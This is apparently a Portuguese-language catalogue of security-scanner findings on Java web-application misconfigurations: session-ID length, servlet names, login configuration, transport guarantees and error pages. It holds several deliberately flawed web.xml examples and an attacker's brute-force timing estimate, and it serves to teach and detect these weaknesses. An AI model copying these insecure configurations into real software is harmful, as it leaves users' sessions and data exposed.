1464 itens encontrados
Vulnerabilidades
Abstract
Os identificadores de sessão devem ter pelo menos 128 bits para evitar ataques de sessão de adivinhação de força bruta.
Explanation
O descritor de implantação do WebLogic deve especificar um tamanho de identificador de sessão de pelo menos 24 bytes. Um identificador de sessão menor deixa o aplicativo aberto a ataques sessão de adivinhação de força bruta. Se um invasor conseguir adivinhar o identificador de sessão de um usuário autenticado, ele poderá assumir o controle da sessão do usuário. O restante desta explicação detalha uma justificativa no verso do envelope para um identificador de sessão de 24 bytes.

O identificador de sessão é formado por uma seleção pseudoaleatória dos 62 caracteres alfanuméricos, o que significa que, se a string fosse composta de uma forma realmente aleatória, cada byte poderia produzir um máximo de 6 bits de entropia.

O número esperado de segundos necessários para adivinhar um identificador de sessão válido é dado pela equação:

(2^B+1) / (2*A*S)

Onde:

- B é o número de bits de entropia no identificador de sessão.

- A é o número de suposições que um invasor pode tentar a cada segundo.

- S é o número de identificadores de sessão válidos que são válidos e estão disponíveis para serem adivinhados a qualquer momento.

O número de bits de entropia no identificador de sessão é sempre menor que o número total de bits no identificador de sessão. Por exemplo, se os identificadores de sessão foram fornecidos em ordem crescente, haveria quase zero bits de entropia no identificador de sessão, independentemente do comprimento do identificador. Pressupondo que os identificadores de sessão estão sendo gerados usando uma boa fonte de números aleatórios, estimaremos que o número de bits de entropia em um identificador de sessão seja a metade do número total de bits no identificador de sessão. Para tamanhos de identificador realistas, isso é possível, embora talvez otimista.

Se os invasores usarem um botnet com centenas ou milhares de computadores drones, é razoável supor que eles possam tentar dezenas de milhares de suposições por segundo. Se o site em questão for grande e popular, um alto volume de suposições pode passar despercebido por algum tempo.

Um limite inferior no número de identificadores de sessão válidos que estão disponíveis para serem adivinhados é o número de usuários ativos em um site a qualquer momento. No entanto, qualquer usuário que abandonar suas sessões sem fazer logout aumentará esse número. (Este é um dos muitos bons motivos para ter um tempo limite curto para sessão inativa.)

Com um identificador de sessão de 64 bits, assuma 32 bits de entropia. Para um grande site, suponha que o invasor possa tentar 1.000 suposições por segundo e que haja 10.000 identificadores de sessão válidos a qualquer momento. Dadas essas suposições, o tempo esperado para um invasor adivinhar com êxito um identificador de sessão válido é menos de 4 minutos.

Agora suponha um identificador de sessão de 128 bits que forneça 64 bits de entropia. Com um site muito grande, um invasor pode tentar 10.000 suposições por segundo com 100.000 identificadores de sessão válidos disponíveis para serem adivinhados. Dadas essas suposições, o tempo esperado para um invasor adivinhar com sucesso um identificador de sessão válido é maior que 292 anos.

Trabalhando retroativamente de bits para bytes, agora, o identificador de sessão deve ser 128/6, o que produz aproximadamente 21 bytes. Além disso, o teste empírico demonstrou que os primeiros três bytes do identificador de sessão não parecem ser gerados aleatoriamente, o que significa que, para atingir nossos 64 bits de entropia desejados, precisamos configurar o WebLogic para usar um identificador de sessão de 24 bytes de comprimento.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 6
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001941, CCI-001942
[3] Standards Mapping - FIPS200 IA
[4] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 IA-2 Identification and Authentication (Organizational Users) (P1), SC-23 Session Authenticity (P1)
[6] Standards Mapping - NIST Special Publication 800-53 Revision 5 IA-2 Identification and Authentication (Organizational Users), SC-23 Session Authenticity
[7] Standards Mapping - OWASP API 2023 API8 Security Misconfiguration
[8] Standards Mapping - OWASP Application Security Verification Standard 4.0 14.1.3 Build (L2 L3)
[9] Standards Mapping - OWASP Mobile 2014 M9 Improper Session Handling
[10] Standards Mapping - OWASP Top 10 2004 A3 Broken Authentication and Session Management
[11] Standards Mapping - OWASP Top 10 2007 A7 Broken Authentication and Session Management
[12] Standards Mapping - OWASP Top 10 2010 A3 Broken Authentication and Session Management
[13] Standards Mapping - OWASP Top 10 2013 A2 Broken Authentication and Session Management
[14] Standards Mapping - OWASP Top 10 2017 A2 Broken Authentication
[15] Standards Mapping - OWASP Top 10 2021 A05 Security Misconfiguration
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.3
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.5.7
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.10
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.10
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.10
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.10
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[25] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[26] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection
[27] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection
[28] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3405 CAT I
[29] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3405 CAT I
[30] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3405 CAT I
[31] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3405 CAT I
[32] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3405 CAT I
[33] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3405 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3405 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002290 CAT II
[51] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Authentication (WASC-01)
[52] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authentication
desc.config.java.j2ee_misconfiguration_insufficient_session_id_length
Abstract
Um nome de servlet inválido pode impedir o acesso legítimo ao Servlet pretendido.
Explanation
Um nome de servlet ausente ou duplicado em web.xml é um erro. Cada Servlet deve ter um nome único (servlet-name) e um mapeamento correspondente (servlet-mapping).

Exemplo 1: A seguinte entrada de web.xml mostra várias definições de servlet erradas.

<!-- No <servlet-name> specified: -->
<servlet>
<servlet-class>com.class.MyServlet</servlet-class>
<load-on-startup>1</load-on-startup>
</servlet>

<!-- Empty <servlet-name> node: -->
<servlet>
<servlet-name/>
<servlet-class>com.class.MyServlet</servlet-class>
<load-on-startup>1</load-on-startup>
</servlet>

<!-- Duplicate <servlet-name> nodes: -->
<servlet>
<servlet-name>MyServlet</servlet-name>
<servlet-name>Servlet</servlet-name>
<servlet-class>com.class.MyServlet</servlet-class>
<load-on-startup>1</load-on-startup>
</servlet>

Esses erros podem causar uma negação não intencional de acesso ao Servlet.
References
[1] Sun Microsystems, Inc. Java Servlet Specification 2.4
[2] Standards Mapping - Common Weakness Enumeration CWE ID 684
[3] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1)
[5] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-5 Denial of Service Protection
[6] Standards Mapping - OWASP API 2023 API8 Security Misconfiguration
[7] Standards Mapping - OWASP Mobile 2014 M1 Weak Server Side Controls
[8] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[9] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[10] Standards Mapping - OWASP Top 10 2017 A6 Security Misconfiguration
[11] Standards Mapping - OWASP Top 10 2021 A05 Security Misconfiguration
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[13] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002400 CAT II
[36] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[37] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.config.java.j2ee_misconfiguration_invalid_servlet_name
Abstract
As restrições de segurança e autorização não funcionarão sem uma configuração de login.
Explanation
O elemento <login-config> é usado para configurar como os usuários se autenticam em um aplicativo. A ausência de um método de autenticação significa que o aplicativo não sabe como aplicar restrições de autorização, pois ninguém pode fazer login. O método de autenticação é especificado usando a tag <auth-method> que é “child-of” de <login-config>.

Existem quatro métodos de autenticação: BASIC, FORM, DIGEST e CLIENT_CERT.

BASIC denota autenticação HTTP Basic.
FORM denota autenticação baseada em formulário.
DIGEST é como a autenticação BASIC; entretanto, em DIGEST a senha é criptografada.
CLIENT_CERT requer que os clientes tenham certificados de chave pública e usem SSL/TLS.

Exemplo 1: A configuração a seguir não especifica uma configuração de login.

<web-app>

<!-- servlet declarations -->
<servlet>...</servlet>

<!-- servlet mappings-->
<servlet-mapping>...</servlet-mapping>

<!-- security-constraints-->
<security-constraint>...</security-constraint>

<!-- login-config goes here -->

<!-- security-roles -->
<security-role>...</security-role>

</web-app>
References
[1] Sun Microsystems, Inc. Java Servlet Specification 2.4
[2] Sun Microsystems, Inc. Specifying an Authentication Mechanism
[3] Standards Mapping - Common Weakness Enumeration CWE ID 284
[4] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-000778, CCI-001094, CCI-001958, CCI-001967
[5] Standards Mapping - FIPS200 IA
[6] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[7] Standards Mapping - NIST Special Publication 800-53 Revision 4 IA-3 Device Identification and Authentication (P1), SC-5 Denial of Service Protection (P1)
[8] Standards Mapping - NIST Special Publication 800-53 Revision 5 IA-3 Device Identification and Authentication, SC-5 Denial of Service Protection
[9] Standards Mapping - OWASP API 2023 API8 Security Misconfiguration
[10] Standards Mapping - OWASP Mobile 2014 M1 Weak Server Side Controls
[11] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[12] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[13] Standards Mapping - OWASP Top 10 2017 A6 Security Misconfiguration
[14] Standards Mapping - OWASP Top 10 2021 A05 Security Misconfiguration
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[16] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001640 CAT II, APSC-DV-001650 CAT II, APSC-DV-001660 CAT II, APSC-DV-002400 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001640 CAT II, APSC-DV-001650 CAT II, APSC-DV-001660 CAT II, APSC-DV-002400 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-001640 CAT II, APSC-DV-001650 CAT II, APSC-DV-001660 CAT II, APSC-DV-002400 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-001640 CAT II, APSC-DV-001650 CAT II, APSC-DV-001660 CAT II, APSC-DV-002400 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-001640 CAT II, APSC-DV-001650 CAT II, APSC-DV-001660 CAT II, APSC-DV-002400 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-001640 CAT II, APSC-DV-001650 CAT II, APSC-DV-001660 CAT II, APSC-DV-002400 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-001640 CAT II, APSC-DV-001650 CAT II, APSC-DV-001660 CAT II, APSC-DV-002400 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-001640 CAT II, APSC-DV-001650 CAT II, APSC-DV-001660 CAT II, APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-001640 CAT II, APSC-DV-001650 CAT II, APSC-DV-001660 CAT II, APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-001640 CAT II, APSC-DV-001650 CAT II, APSC-DV-001660 CAT II, APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001640 CAT II, APSC-DV-001650 CAT II, APSC-DV-001660 CAT II, APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-001640 CAT II, APSC-DV-001650 CAT II, APSC-DV-001660 CAT II, APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-001640 CAT II, APSC-DV-001650 CAT II, APSC-DV-001660 CAT II, APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-001640 CAT II, APSC-DV-001650 CAT II, APSC-DV-001660 CAT II, APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-001640 CAT II, APSC-DV-001650 CAT II, APSC-DV-001660 CAT II, APSC-DV-002400 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-001640 CAT II, APSC-DV-001650 CAT II, APSC-DV-001660 CAT II, APSC-DV-002400 CAT II
[39] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[40] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.config.java.j2ee_misconfiguration_missing_authentication_method
Abstract
Uma restrição de segurança que não especifica uma restrição de dados do usuário não pode garantir que os recursos restritos serão protegidos na camada de transporte.
Explanation
As restrições de segurança de web.xml são normalmente usadas para controle de acesso baseado em função, mas o elemento opcional user-data-constraint especifica uma garantia de transporte que evita que o conteúdo seja transmitido de maneira insegura.

Na tag <user-data-constraint>, a tag <transport-guarantee> define como a comunicação deve ser tratada. Existem três níveis de garantia de transporte:

1) NONE significa que o aplicativo não exige nenhuma garantia de transporte.
2) INTEGRAL significa que o aplicativo requer que os dados enviados entre o cliente e o servidor sejam enviados de forma que não possam ser alterados em trânsito.
3) CONFIDENTIAL significa que o aplicativo requer que os dados sejam transmitidos de uma maneira que evite que outras entidades observem o conteúdo da transmissão.



Na maioria das circunstâncias, o uso de INTEGRAL ou CONFIDENTIAL significa que é necessário SSL/TLS. Se as tags <user-data-constraint> e <transport-guarantee> são omitidas, o padrão de garantia de transporte é NONE.

Exemplo 1: A seguinte restrição de segurança não especifica uma garantia de transporte.

<security-constraint>
<web-resource-collection>
<web-resource-name>Storefront</web-resource-name>
<description>Allow Customers and Employees access to online store front</description>
<url-pattern>/store/shop/*</url-pattern>
</web-resource-collection>
<auth-constraint>
<description>Anyone</description>
<role-name>anyone</role-name>
</auth-constraint>
</security-constraint>
References
[1] Sun Microsystems, Inc. Java EE 5 Tutorial: Establishing a Secure Connection Using SSL
[2] Sun Microsystems, Inc. Java Servlet Specification Version 2.3
[3] Standards Mapping - Common Weakness Enumeration CWE ID 5
[4] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002418, CCI-002420, CCI-002421, CCI-002422
[5] Standards Mapping - FIPS200 CM, SC
[6] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[7] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-8 Transmission Confidentiality and Integrity (P1)
[8] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-8 Transmission Confidentiality and Integrity
[9] Standards Mapping - OWASP API 2023 API8 Security Misconfiguration
[10] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.2.5 General Authenticator Requirements (L3), 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 6.2.1 Algorithms (L1 L2 L3), 8.1.6 General Data Protection (L3), 8.3.1 Sensitive Private Data (L1 L2 L3), 9.1.1 Communications Security Requirements (L1 L2 L3), 9.2.2 Server Communications Security Requirements (L2 L3), 14.1.3 Build (L2 L3), 14.4.5 HTTP Security Headers Requirements (L1 L2 L3)
[11] Standards Mapping - OWASP Mobile 2014 M3 Insufficient Transport Layer Protection
[12] Standards Mapping - OWASP Top 10 2004 A10 Insecure Configuration Management
[13] Standards Mapping - OWASP Top 10 2007 A9 Insecure Communications
[14] Standards Mapping - OWASP Top 10 2010 A9 Insufficient Transport Layer Protection
[15] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[16] Standards Mapping - OWASP Top 10 2017 A6 Security Misconfiguration
[17] Standards Mapping - OWASP Top 10 2021 A05 Security Misconfiguration
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 4.1, Requirement 6.5.10
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 4.1, Requirement 6.3.1.4, Requirement 6.5.9
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 4.1, Requirement 6.5.4
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 4.1, Requirement 6.5.4
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 4.1, Requirement 6.5.4
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 4.1, Requirement 6.5.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 4.1, Requirement 6.5.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 4.2.1, Requirement 6.2.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 4.2.1, Requirement 6.2.4
[27] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 6.2 - Sensitive Data Protection, Control Objective 7 - Use of Cryptography
[28] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 6.2 - Sensitive Data Protection, Control Objective 7 - Use of Cryptography
[29] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 6.2 - Sensitive Data Protection, Control Objective 7 - Use of Cryptography, Control Objective C.4.1 - Web Software Communications
[30] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[53] Standards Mapping - Web Application Security Consortium Version 2.00 Application Misconfiguration (WASC-15)
[54] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.config.java.j2ee_misconfiguration_missing_data_transport_constraint
Abstract
Um aplicativo da web deve definir páginas de erro padrão para evitar que invasores explorem informações da resposta de erro embutida no contêiner do aplicativo.
Explanation
Quando um invasor explora um site em busca de vulnerabilidades, a quantidade de informações que o site fornece é fundamental para o eventual sucesso ou falha de qualquer tentativa de ataque. Se o aplicativo mostrar ao invasor um rastreamento de pilha, ele cede informações que tornam o trabalho do invasor significativamente mais fácil. Por exemplo, um rastreamento de pilha pode mostrar ao invasor uma string de consulta SQL malformada, o tipo de banco de dados que está sendo usado e a versão do contêiner do aplicativo. Essas informações permitem que o invasor almeje vulnerabilidades conhecidas nesses componentes.

A configuração do aplicativo deve especificar uma página de erro padrão para garantir que o aplicativo nunca vaze mensagens de erro para um invasor. Tratar códigos de erro HTTP padrão é útil e intuitivo, além de ser uma boa prática de segurança, e uma boa configuração também definirá um manipulador de last-chance error que captura qualquer exceção que possa ser lançada pelo aplicativo.
References
[1] G. Hoglund, G. McGraw Exploiting Software Addison-Wesley
[2] Standards Mapping - Common Weakness Enumeration CWE ID 7
[3] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001312, CCI-001314, CCI-002420, CCI-003272
[4] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-23 Data Mining Protection (P0), SA-15 Development Process and Standards and Tools (P2), SC-8 Transmission Confidentiality and Integrity (P1), SI-11 Error Handling (P2)
[6] Standards Mapping - NIST Special Publication 800-53 Revision 5 AC-23 Data Mining Protection, SA-15 Development Process and Standards and Tools, SC-8 Transmission Confidentiality and Integrity, SI-11 Error Handling
[7] Standards Mapping - OWASP API 2023 API8 Security Misconfiguration
[8] Standards Mapping - OWASP Application Security Verification Standard 4.0 14.1.3 Build (L2 L3)
[9] Standards Mapping - OWASP Mobile 2014 M1 Weak Server Side Controls
[10] Standards Mapping - OWASP Top 10 2004 A7 Improper Error Handling
[11] Standards Mapping - OWASP Top 10 2007 A6 Information Leakage and Improper Error Handling
[12] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[13] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[14] Standards Mapping - OWASP Top 10 2017 A6 Security Misconfiguration
[15] Standards Mapping - OWASP Top 10 2021 A05 Security Misconfiguration
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.7
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.2, Requirement 6.5.6
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.5
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.5
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.5
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.5
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.5
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[25] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 3.6 - Sensitive Data Retention
[26] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 3.6 - Sensitive Data Retention
[27] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 3.6 - Sensitive Data Retention
[28] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3120 CAT II
